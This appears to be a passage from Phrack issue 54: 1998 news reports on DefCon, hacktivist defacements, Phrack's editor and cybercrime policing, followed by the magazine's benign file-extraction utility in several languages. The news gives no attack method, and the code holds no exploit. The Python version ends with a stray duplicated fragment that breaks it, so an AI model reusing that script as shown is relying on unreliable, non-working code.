As for the true hackers of the first generation, Godwin said: "These guys
are genuinely smart and genuinely have a fascination with the technology. 
And they're mostly harmless."

*********

What do younger hackers say to all this? 

Not much, if you judge by interviews at DefCon6.0, the sixth annual hacker
forum and party held in Las Vegas at the end of July.

Some said they hack to learn. Others took a counter-culture stance: 
hacking as civil disobedience. They wouldn't give names or talk
specifically about any criminal activities. It was as if they wanted to
present themselves as blank slates, upon which the fears of their
non-wired elders could be inscribed.

At DefCon, they set off stink bombs at one point, and pulled other
juvenile pranks.

"Paging Mr. Mitnick," the intercom droned through the hotel-casino's
meeting rooms. The unwitting hotel staff member repeated the call for the
jailed hacker. "Paging Mr. Kevin Mitnick."

Pony-tailed guys dressed in black smirked. Gotcha. 

As hard house and techno music provided a soundtrack, they drooled over
new software and pawed through piles of stuff for sale: computer
equipment, of course, but also more books on conspiracy, privacy
protection, and police methods than any paranoid could want.

Among the titles: "Scanners & Secret Frequencies," "Secrets of a Super
Hacker," even "Throbbing Modems."

The kids flocked to DefCon's talk by the "white hat" hackers of L0pht. 

"We're in the middle generation right now," said convention organizer
Moss. "You've got your original hackers from MIT -- the old school -- who
are established. They're the forefathers of this information revolution. 
And you've got us who watched computers go from mainframe to desktop to
laptop. And you've got the younger generation that have always known
computers." 

0x1e>------------------------------------------------------------------------

Title: Body of Evidence
By: Beverly Hanly
Date: 4:00am  5.Aug.98.PDT

Real criminals are tried in real courts, so why shouldn't virtual
criminals be tried in virtual courts?

A handful of legal scholars from the Institute on the Arts and Civic
Dialogue (IACD) are mulling over the question and will convene Wednesday
to discuss whether virtual courts are the best forum for cybercrime trials
and if a virtual legal system could lead to new legal processes regarding
real world crimes.

The experts will join multimedia artist Shu Lea Cheang, creator of the
Brandon project, for a webcast forum from 8 to 11 pm, EDT, at the Harvard
Law School.

The group will play out a fictitious courtroom drama based on several
disputes involving cyberetiquette, gender identity, and the hazy line
between fantasy vs. reality as the first public forum in the year-long
Brandon project commissioned by New York's Guggenheim Museum. Brandon
explores issues of gender identity and the consequences of experimenting
with sexuality in real life and in cyberspace.

The ongoing media and legal debate regarding hate speech and the
proliferation of sexual content on the Internet and whether or not these
are harmful -- and to whom -- is the territory the mock trial will cover.

Harvard theater director Liz Diamond will collaborate with Cheang to guide
the group as they dramatize elements drawn from real-life sexual assault
cases, including that of the project's namesake Teena Brandon, a
transsexual who was murdered in Nebraska in 1993. Other cases will involve
a virtual trial for "cyberrape," a MUD character named Mr.  Bungle, and
the FBI arrest of Michigan student Jake Baker for his rape-and-murder
fantasy about a fellow student posted to a Usenet newsgroup in 1994.

Actors will play the roles of victims and perpetrators, while professors
from Harvard, University of Virginia, and Columbia law schools will act as
"standing jurors" to examine and comment on the legalities.

"This is a venue where you can experiment with the process and substance
of these [cyberlaw] cases,"  said Jennifer Mnookin, professor of law at
Virginia's School of Law in Charlottesville, who will sit in on the
session. She feels that virtual worlds like LambdaMOO can provide a new
and more appropriate arena for dispute resolution.

"Part of what's at issue here is how much someone can be hurt with words," 
said Mnookin. "Someone who commits a violation in cyberspace shouldn't
necessarily be subject to consequences in real courtrooms. Something like
the LambdaMOO 'cyberrape' was appropriately settled in a virtual court. 
The perpetrator was expelled from that world, his virtual identity was
annihilated -- he was 'toaded.' What is a violation in one world might not
be in another."

Virtual penalties can translate from one world to the other as well. 
Cheang, in her virtual court, suggests the idea of "virtual castration" as
an alternative to "chemical castration" advocated by some as a way of
dealing with sexual offenders.

The August public event in Cambridge, Massachusetts, is the first time
since the Brandon project began on 20 June that Cheang will be able to
interact with both a live and a Net audience.

"The test will serve as a base toward constructing a digiarchitextual
space of a virtual court at the Guggenheim's [proposed] virtual museum," 
said Cheang, who will collaborate with an architect of physical spaces to
create a "courtroom"  at the museum. "My work has always fused actual and
virtual space."

Netizens need nothing more than an Internet connection to tune in to the
mock trial. But Cheang also wants to include a public that has no access
to Net technology.

Anyone in the Harvard area who's interested can physically attend the
staged trial. In New York, street audiences can visit the Guggenheim
SoHo's video wall, which is made up of 75 contiguous 40-inch projection
cubes. The video wall will display images from the Brandon project and
audiences will be able to interact at scheduled times.

"We're not sure how the 'experimentation' with the audience will go," said
Cheang.  "Maybe we'll fail badly. But it is this uncertainty, this feeling
that we're exploring new ground in public interaction that is most
exciting for me and my collaborators here at the Institute."

Law professor Mnookin looks at the experiment as a venue that can open up
the dialog on cyberlaw issues. "What's interesting to me about 'virtual
law' is that it's much more obvious than in the real world that the rules
are malleable, that they're created by the participants.

"In the real world, it's easy to take the legal processes for granted, to
assume that [those processes] can't easily be transformed," she continued. 
"If virtual worlds are used as laboratories, it's easier to recognize the
possibilities for change -- both within a virtual environment, and, just
maybe, in the real world as well."

The Brandon Project is hosted at Harvard in conjunction with the brand-new
IACD until 14 August. IACD puts artists in various media together with a
community of scholars, journalists, and civic activists to explore current
events and controversies.

After the test trial, Cheang will move on to Amsterdam, Netherlands, to
begin setting up the next live installation of the project: "Digi Gender,
Social Body: Under the Knife, Under the Spell of Anesthesia,"  to be
webcast in September 1998. "Would the Jurors Please Stand Up? Crime and
Punishment as Net Spectacle" is scheduled for May 1999.

0x1f>------------------------------------------------------------------------

Title: The Golden Age of Hacktivism
By: Niall McKay
Date: 4:00a.m.  22.Sep.98.PDT

On the eve of Sweden's general election, Internet saboteurs targeted the
Web site of that country's right-wing Moderates political party, defacing
pages and establishing links to the homepages of the left-wing party and a
pornography site.

But the Scandanavian crack Saturday was not the work of bored juveniles
armed with a Unix account, a slice of easily compiled code, and a few
hours to kill. It advanced a specific political agenda.

"The future of activism is on the Internet," said Stanton McCandlish,
program director of the Electronic Frontier Foundation. "More and more,
what is considered an offline issue, such as protesting the treatment of
the Zapatistas in Mexico, is being protested on the Net."

In the computer-security community, it's called "hacktivism," a kind of
electronic civil disobedience in which activists take direct action by
breaking into or protesting with government or corporate computer systems. 
It's a kind of low-level information warfare, and it's on the rise.

Last week, for example, a group of hackers called X-pilot rewrote the home
page of a Mexican government site to protest what they said were instances
of government corruption and censorship.  The group, which did not reply
to several emails, made the claims to the Hacker News Network. The
hacktivists were bringing an offline issue into the online world,
McClandish said. 

The phenomenon is becoming common enough that next month, the longtime
computer-security group, the Cult of the Dead Cow will launch the resource
site hacktivism.org. The site will host online workshops, demonstrations,
and software tools for digital activists.

"We want to provide resources to empower people who want to take part in
activism on the Internet," said Oxblood Ruffian, a former United Nations
consultant who belongs to the Cult of the Dead Cow.

Oxblood Ruffian's group is no newcomer to hacktivism. They have been
working with the Hong Kong Blondes, a near-mythical group of Chinese
dissidents that have been infiltrating police and security networks in
China in an effort to forewarn political targets of imminent arrests.

In a recent Wired News article, a member of the group said it would target
the networks and Web sites of US companies doing business with China.

Other recent hacktivist actions include a wave of attacks in August that
drew attention to alleged human rights abuses in Indonesia. In June,
attacks on computer systems in India's atomic energy research lab
protested that country's nuclear bomb tests.

More recently, on Mexican Independence Day, a US-based group called
Electronic Disturbance Theater targeted the Web site of Mexican President
Ernesto Zedillo.  The action was intended to protest Zedillo's alleged
mistreatment of the Zapatista rebels in Chiapas. Nearly 8,000 people
participated in the digital sit-in, which attempted to overwhelm the
Mexican president's Web servers.

"What we are trying to do is to find a place where the public can register
their dissatisfaction in cyberspace, so that your everyday [mouse] clicker
can participate in a public protest," said EDT co-founder Ricardo. 

The apparent increase in hacktivism may be due in part to the growing
importance of the Internet as a means of communication. As more people go
online, Web sites become high-profile targets.

It also demonstrates that many government sites are fairly easy to crack,
said one former member of Milw0rm, the now defunct group that defaced the
Indian research lab's Web site. In an interview in Internet Relay Chat,
the cracker rattled off a list of vulnerable US government Web sites --
including one hosting an electron particle accelerator and another of a US
politician -- and their susceptibility to bugs.

"They don't pay enough for computer people," said the cracker, who goes by
the name t3k-9. "You get $50,000 for a $150,000 job." 

Some security experts also believe that there is a new generation of
crackers emerging. "The rise in political cracking in the past couple of
years is because we now have the first generation of kids that have grown
up with the Net," John Vranesevich, founder of the computer security Web
site AntiOnline. "The first generation of the kids that grew up hacking
are now between 25 and 35 - often the most politically active years in
peoples' lives."

"When the Cult of the Dead Cow was started in 1984, the average age [of
our members] was 14, and they spent their time hacking soda machines," 
said Oxblood Ruffian. "But the last couple of years has marked a turning
point for us.  Our members are older, politicized, and extremely
technically proficient."

While hacktivists are lining up along one border, police and law
enforcement officials are lining up along another.

This year the FBI will establish a cyber warfare center called the
National Infrastructure Protection Center. The US$64 million organization
will replace the Computer Investigations and Infrastructure Threat
Assessment Center and involve the intelligence community and the military.

Allan Paller, director of research for the SANS Institute, said the FBI is
staffing the new facility with the government's top security experts. 
"They are stealing people from good places, including a woman from the
Department of Energy who was particularly good," he said in a recent
interview. "They are taking brilliant people."

Paller also said that a grassroots effort is under way in Washington to
establish a National Intrusion Center, modeled after the Centers for
Disease Control.

"There is definitely an increased threat of cyber terrorism," said Stephen
Berry, spokesman for the FBI press office in Washington.

As offline protests -- which are protected in the United States by the
constitution -- enter the next digital age, the question remains: How will
the FBI draw the distinction between relatively benign online political
protests and cyber terrorism?

0x20>------------------------------------------------------------------------

Title: Phrack straddles the world of hackers
Source: Nando Times
Date: September 20, 1998

The lines of text scrolled off the screen quickly, but the bleached-blond
hacker snatched quick glances at the visitors' log on his Web page. Lots
of visitors using military and government computers. The hacker, who calls
himself Route, said he always gets a kick out of the feds' visits. He
smiled. 
 
The FBI, the CIA and the others "wouldn't be doing their job if they
weren't tracking computer information both legitimate and illegitimate," 
Route said. "I guess Phrack falls somewhere in between."
 
Phrack is an online publication called a 'zine. It's a digital chimera: 
written for hackers but read by law enforcement, too. It's been the
subject of federal prosecution, yet it still operates in the open. Its
name combines "hack" and "phreak," which refers to phone hacking.
 
It's got attitude, technical know-how and in many ways defines today's
hacker scene. It first hit the electronic bulletin boards Nov. 17, 1985,
ages ago in hacker years.
 
To put its longevity in perspective, Phrack came out two years after the
movie "WarGames" in which actor Matthew Broderick established the
now-cliched image of the hacker as the lonely kid who altered his grades
with a computer. Phrack predates the World Wide Web by almost a decade. 
And Phrack is older than many of its readers, who number about 8,000, said
Route, who refuses to give his real name.
 
Route, 24, doesn't look like the scrawny computer nerd with the
cathode-ray pallor so many think of when the word hacker is mentioned. 
Silver earrings dangle from each ear and a bar pierces his tongue. Spidery
tattoos creep down his shoulders and over biceps grown solid with hours of
iron work.
 
Behind his glower lies a keen mind that cuts through computer network
problems like a digital knife, an invaluable skill for his day job at a
computer security firm with Fortune 500 companies for clients. Route
refused to name his company.
 
Phrack's improbable history begins in 1985 when a hacker with the handle
Taran King cobbled together various subversive texts that had been
circulating like Soviet-era samizdat on the archipelago of underground
electronic bulletin boards.  It included all sorts of mischief-making: 
"How to Pick Master Locks," "How to Make an Acetylene Bomb" and
"School/College Computer Dial-Ups." 
 
But Phrack found itself the focus of federal prosecution in 1990, when
editor Craig Neidorf, also known as Knight Lightning, was prosecuted by
the Chicago Computer Fraud and Abuse Task Force. His alleged crime? He
published a document in Phrack with certain details of the emergency 911
systems in use around the country. It had been given to him by another
hacker who had copied it from computers owned by BellSouth, which valued
it at almost $80,000. 
 
But the task force wanted to prove the document was more than valuable. 
Assistant U.S. Attorney William J. Cook said it put dangerous information
in the hands of hackers.

The case fell apart when Neidorf's lawyer proved that more detailed
information about the system had appeared in other publications. You could
order them from phone company technical catalogs for $13. The charges were
dropped. Neidorf's trial was over.

If today's Phrack is a bit less confrontational, that's understandable. 
Like many of the older hackers, Route is shifting his focus away from
anarchy texts and phone hacking to computer security. Its "how-to" days
are pretty much over.

"Phrack is not meant to be a manual of vulnerabilities," he said. 

As the editor, Route knows that Phrack can still be used for illegal
purposes. "But you can't hold people completely liable for just putting
information out there."

He said he has had "blatantly illegal stuff" sent to him. Once, he said he
received the technical specifications for most pager systems used in the
country, complete with how to hack those systems. He didn't publish. 

"It's a judgment call," he said. "I have no intention of running up
against the law or (upsetting) the military."

But it's almost guaranteed that something gleaned from Phrack will be used
against the computer system of a big and powerful organization or
business.

"The scene is going to do what the scene is going to do,"  he said. "It's
like any clique in society. You have good people and you have bad people."

0x21>------------------------------------------------------------------------

Title: Cops see little hope in controlling computer crime
By: Rob Lemos, 
Source: ZDNN 
Date: August 6, 1998 10:16 AM PT

Despite making headway combating high-tech criminals, law enforcement
officials say they remain worried about their ability to investigate and
prosecute cyber crimes.  Encryption, anonymity, and the jurisdictional
problems posed by a global Internet are quickly turning from small
headaches to full-blown migraines for local, state, and federal police
forces.

"It's hard to predict where we will be in 10 years," said Scott Charney,
chief of the computer crime and intellectual property section of the U.S.
Department of Justice. "But there are going to be all sorts of birthing
pains." Charney gathered here with other computer-savvy law enforcement
officials to attend an international symposium on criminal justice issues
at the University of Illinois at Chicago. The symposium focused on
high-tech crime, cyber-terrorism, and information warfare.

Invisible criminals Law enforcement officers say one of their biggest
challenges paradoxically remains knowing when a crime is committed.

According to the General Accounting Office, there were 250,000 attempted
break-ins at the Department of Defense in 1995. NASA estimates that
crackers -- hacker criminals -- broke in to over 120,000 of its systems in
1996. Yet, few of those incidents are detected, much less reported. When
DOD hackers broke into their own servers in 1996 and 1997, they attacked
38,000 machines. Only four percent of the incidents were detected. Out of
that number, only 27 percent of detected break-ins were reported. 

"We will get better," said Doris Gardner, an investigator with the
National Infrastructure Protection Center, a new federal agency
established to fight computer crime. "We need to educate -- to work better
with each other."

Pandora's box

Yet, even as law enforcement is educating itself on the challenges ahead,
experts here said cyber-criminals continue to refine their abilities. 

According to the DOJ's Charney, the number of cases involving encrypted
data climbed from three percent in 1996 to seven percent in 1997. If that
trend continues, he said, the only tactic left for law enforcement is to
increase its surveillance capabilities.

"If privacy advocates get their way on encryption," said Charney, "they
may not be happy."

With no way to read into encrypted electronic documents, he added, the FBI
and others will have to rely on capturing the evidence at the source. "And
that could really decrease privacy."

Even so, there are other ways around encryption. In 1996, when an ISP
reported that its system had been cracked, all FBI leads ran into brick
walls. Luckily, the cracker, Carlos Salgado Jr. -- who had stolen over
100,000 credit card numbers worth more than an estimated $160 million --
found a potential buyer who suspected his credit card was one of the ones
on the block to be sold. The "buyer" contacted the FBI and became a
cooperative witness in the case.

Despite Salgado's extensive use of encryption -- both his e-mails and the
actual credit-card data were encrypted -- the FBI had no problems
collecting evidence, because their witness received all the codes from
Salgado.

Luck, or a trend? It's too early to tell, but Gardner, for one, seems
positive on the FBI's ability to prosecute. "If we know about it," she
said, "we can usually prosecute it."

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 12 of 12


-------------------------[  Phrack Magzine Extraction Utility


--------[  Phrack Staff


    New this issue: A win32 version.


---------------------8<------------CUT-HERE----------->8---------------------

<++> EX/PMEU/extract3.c
/*  extract.c by Phrack Staff and sirsyko
 *
 *  (c) Phrack Magazine, 1997, 1998
 *      version 3 (P54): 07.14.98
 *          - patched by Cipso to allow for redirection from stdin
 *          - patched by route to return heap memory when no longer needed
 *      version 2 (P53): 01.08.98 rewritten by route
 *          - aesthetics
 *          - now accepts file globs  
 *      todo:
 *          - more info in tag header (file mode, checksum)
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical 
 *  directory strcuture.  Use to extract source code from any of the articles 
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *  
 *  Usage: 
 *
 *  ./extract file1 file2 file3 ...
 *      OR
 *  bzip2 -dc P54-*.bz2 | ./extract -
 */

 
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>
#include <dirent.h>

#define BEGIN_TAG   "<++> "
#define END_TAG     "<-->"
#define BT_SIZE     strlen(BEGIN_TAG)
#define ET_SIZE     strlen(END_TAG)

struct f_name
{
    u_char name[256];
    struct f_name *next;
};

int
main(int argc, char **argv)
{ 
    u_char b[256], *bp, *fn;
    int i, j = 0;
    FILE *in_p, *out_p = NULL; 
    struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
    char *name;

    if (argc < 2)
    {
        printf("Usage: %s file1 file2 ... filen\n", argv[0]);
        exit(0); 
    }

    /*
     *  Fill the f_name list with all the files on the commandline (ignoring
     *  argv[0] which is this executable).  This includes globs.
     */
    for (i = 1; (fn = argv[i++]); )
    {
        if (!head)
        {
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(1);
            }
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
        }
        else
        {
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(1);
            }
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
        }
    }
    /*
     *  Sentry node.
     */
    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
    {
        perror("malloc");
        exit(1);
     }
    fn_p = fn_p->next;
    fn_p->next = NULL;

    /*
     *  Check each file in the f_name list for extraction tags.
     */
    for (fn_p = head; fn_p->next;)
    {
        if (!strcmp(fn_p->name, "-"))
        {
               in_p = stdin;
               name = "stdin";
        }
        else if (!(in_p = fopen(fn_p->name, "r")))
        {
            fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
	    continue;
        }
        else
        {
            name = fn_p->name;
        }
        fprintf(stderr, "Opened %s\n", name);        

        while (fgets(b, 256, in_p))
        { 
            if (!strncmp (b, BEGIN_TAG, BT_SIZE))
            { 
	        b[strlen(b) - 1] = 0;           /* Now we have a string. */
                j++;

                if ((bp = strchr(b + BT_SIZE + 1, '/')))
                {
                    while (bp)
                    {
		        *bp = 0;
		        if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
                        {
                            perror("mkdir");
                            exit(1);
                        }
		        *bp = '/';
		        bp = strchr(bp + 1, '/'); 
		    }
                }
                if ((out_p = fopen(b + BT_SIZE, "w")))
                {
                    printf("- Extracting %s\n", b + BT_SIZE);
                }
                else
                {
		    printf("Could not extract '%s'.\n", b + BT_SIZE);
		    continue;
	        }
	    } 
            else if (!strncmp (b, END_TAG, ET_SIZE))
            {
	        if (out_p) fclose(out_p);
	        else
                {
                    fprintf(stderr, "Error closing file %s.\n", fn_p->name);
                    continue;
                }
            } 
            else if (out_p)
            {
                fputs(b, out_p);
            }
        }
        if (in_p != stdin) fclose(in_p);
        tmp = fn_p;
        fn_p = fn_p->next;
        free(tmp);
    }
    if (!j) printf("No extraction tags found in list.\n");
    else printf("Extracted %d file(s).\n", j);
    return (0);
}

/* EOF */
<-->
<++> EX/PMEU/extract.pl
# Daos <daos@nym.alias.net>
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;}; 
if ($opening) {                        
        chop $curfile;                 
        $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
        eval {mkdir $sex_dir, "0777";}; 
        open(ct_ex,">$curfile"); 
        print "Attempting extraction of $curfile\n";
        $opened=1; 
}
if ($opened && !$opening) {print ct_ex $_}; 
<-->

<++> EX/PMEU/extract.awk
#!/usr/bin/awk -f
#
# Yet Another Extraction Script
# - <sirsyko>
#
/^\<\+\+\>/ {
        ind = 1
        File = $2
        split ($2, dirs, "/")
        Dir="."
        while ( dirs[ind+1] ) {
                Dir=Dir"/"dirs[ind]
                system ("mkdir " Dir" 2>/dev/null")
                ++ind
        }
        next
}
/^\<\-\-\>/ {
        File = ""
        next
}
File { print >> File }
<-->
<++> EX/PMEU/extract.sh
#!/bin/sh
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
#
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than 
# haxoring rewt
#
# Usage: ./extract.sh <filename>

cat $* | (
Working=1
while [ $Working ];
do
        OLDIFS1="$IFS"
        IFS=
        if read Line; then
                IFS="$OLDIFS1"
                set -- $Line
                case "$1" in
                "<++>") OLDIFS2="$IFS"
                        IFS=/
                        set -- $2
                        IFS="$OLDIFS2"
                        while [ $# -gt 1 ]; do
                                File=${File:-"."}/$1
                                if [ ! -d $File ]; then
                                        echo "Making dir $File"
                                        mkdir $File
                                fi
                                shift
                        done                               
                        File=${File:-"."}/$1
                        echo "Storing data in $File"
                ;;
                "<-->") if [ "x$File" != "x" ]; then
                                unset File
                        fi ;;
                *)      if [ "x$File" != "x" ]; then
                                        IFS=
                                        echo "$Line" >> $File
                                        IFS="$OLDIFS1"
                        fi
                ;;
                esac
                IFS="$OLDIFS1"
        else
                echo "End of file"
                unset Working
        fi
done
)                                                                    
<-->
<++> EX/PMEU/extract.py
#! /bin/env python
# extract.py    Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:
    """Looks like a file, but doesn't do anything."""
    def write(self, data): pass
    def close(self): pass

def extract(input, verbose = 1):
    """Read a file from input until we find the end token."""

    if type(input) == type('string'):
        fname = input
        try: input = open(fname)
        except IOError, (errno, why):
            print "Can't open %s: %s" % (fname, why)
            return errno
    else:
        fname = '<file descriptor %d>' % input.fileno()

    inside_embedded_file = 0
    linecount = 0
    line = input.readline()
    while line:

        if not inside_embedded_file and line[:4] == '<++>':

            inside_embedded_file = 1
            linecount = 0

            filename = string.strip(line[4:])
            if mkdirs_if_any(filename) != 0:
                pass

            try: output = open(filename, 'w')
            except IOError, (errno, why):
                print "Can't open %s: %s; skipping file" % (filename, why)
                output = Datasink()
                continue

            if verbose:
                print 'Extracting embedded file %s from %s...' % (filename,
                                                                  fname),

        elif inside_embedded_file and line[:4] == '<-->':
            output.close()
            inside_embedded_file = 0
            if verbose and not isinstance(output, Datasink):
                print '[%d lines]' % linecount

        elif inside_embedded_file:
            output.write(line)

        # Else keep looking for a start token.
        line = input.readline()
        linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):
    """Check for existance of /'s in filename, and make directories."""

    path, file = os.path.split(filename)
    if not path: return

    errno = 0
    start = os.getcwd()
    components = string.split(path, os.sep)
    for dir in components:
        if not os.path.exists(dir):
            try:
                os.mkdir(dir)
                if verbose: print 'Created directory', path

            except os.error, (errno, why):
                print "Can't make directory %s: %s" % (dir, why)
                break

        try: os.chdir(dir)
        except os.error, (errno, why):
            print "Can't cd to directory %s: %s" % (dir, why)
            break

    os.chdir(start)
    return errno

def usage():
    """Blah."""
    die('Usage: extract.py [-V] filename [filename...]')

def main():
    try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = ['-v', filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass


    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = [filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass              # No messy traceback.
<-->
<++> EX/PMEU/extract-win.c
/***************************************************************************/
/* WinExtract                                                              */
/*                                                                         */
/* Written by Fotonik <fotonik@game-master.com>.                           */
/*                                                                         */
/* Coding of WinExtract started on 22aug98.                                */
/*                                                                         */
/* This version (1.0) was last modified on 22aug98.                        */
/*                                                                         */
/* This is a Win32 program to extract text files from a specially tagged   */
/* flat file into a hierarchical directory structure.  Use to extract      */
/* source code from articles in Phrack Magazine.  The latest version of    */
/* this program (both source and executable codes) can be found on my      */
/* website:  http://www.altern.com/fotonik                                 */
/***************************************************************************/


#include <stdio.h>
#include <string.h>
#include <windows.h>


void PowerCreateDirectory(char *DirectoryName);


int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
                   LPSTR lpszArgs, int nWinMode)
{
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0;   /* Flag used to determine if at least one file was */
int i;                 /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))
   {
   if((InFile=fopen(InFileName,"r"))==NULL)
      {
      MessageBox(NULL,"Could not open file.",NULL,MB_OK);
      return 0;
      }

   /* If we got here, InFile is opened. */
   while(fgets(Line,256,InFile))
      {
      if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
         {
         Line[strlen(Line)-1]='\0';
         strcpy(OutFileName,Line+5);

         /* Check if a dir has to be created and create one if necessary */
         for(i=strlen(OutFileName)-1;i>=0;i--)
            {
            if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
               {
               strncpy(DirName,OutFileName,i);
               DirName[i]='\0';
               PowerCreateDirectory(DirName);
               break;
               }
            }

         if((OutFile=fopen(OutFileName,"w"))==NULL)
            {
            MessageBox(NULL,"Could not create file.",NULL,MB_OK);
            fclose(InFile);
            return 0;
            }

         /* If we got here, OutFile can be written to */
         while(fgets(Line,256,InFile))
            {
            if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
               {
               fputs(Line, OutFile);
               }
            else
               {
               break;
               }
            }
         fclose(OutFile);
         FileExtracted=1;
         }
      }
   fclose(InFile);
   if(FileExtracted)
      {
      MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
      }
   else
      {
      MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
      }
   }
   return 1;
}


/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels.  (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
   {                         /* create '/' */
   if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')||
      (i==DirNameLength-1))
      {
      strncpy(DirToBeCreated,DirectoryName,i+1);
      DirToBeCreated[i+1]='\0';
      CreateDirectory(DirToBeCreated,NULL);
      }
   }
}
<-->
----[  EOF


--------------------------------------------------------------------------------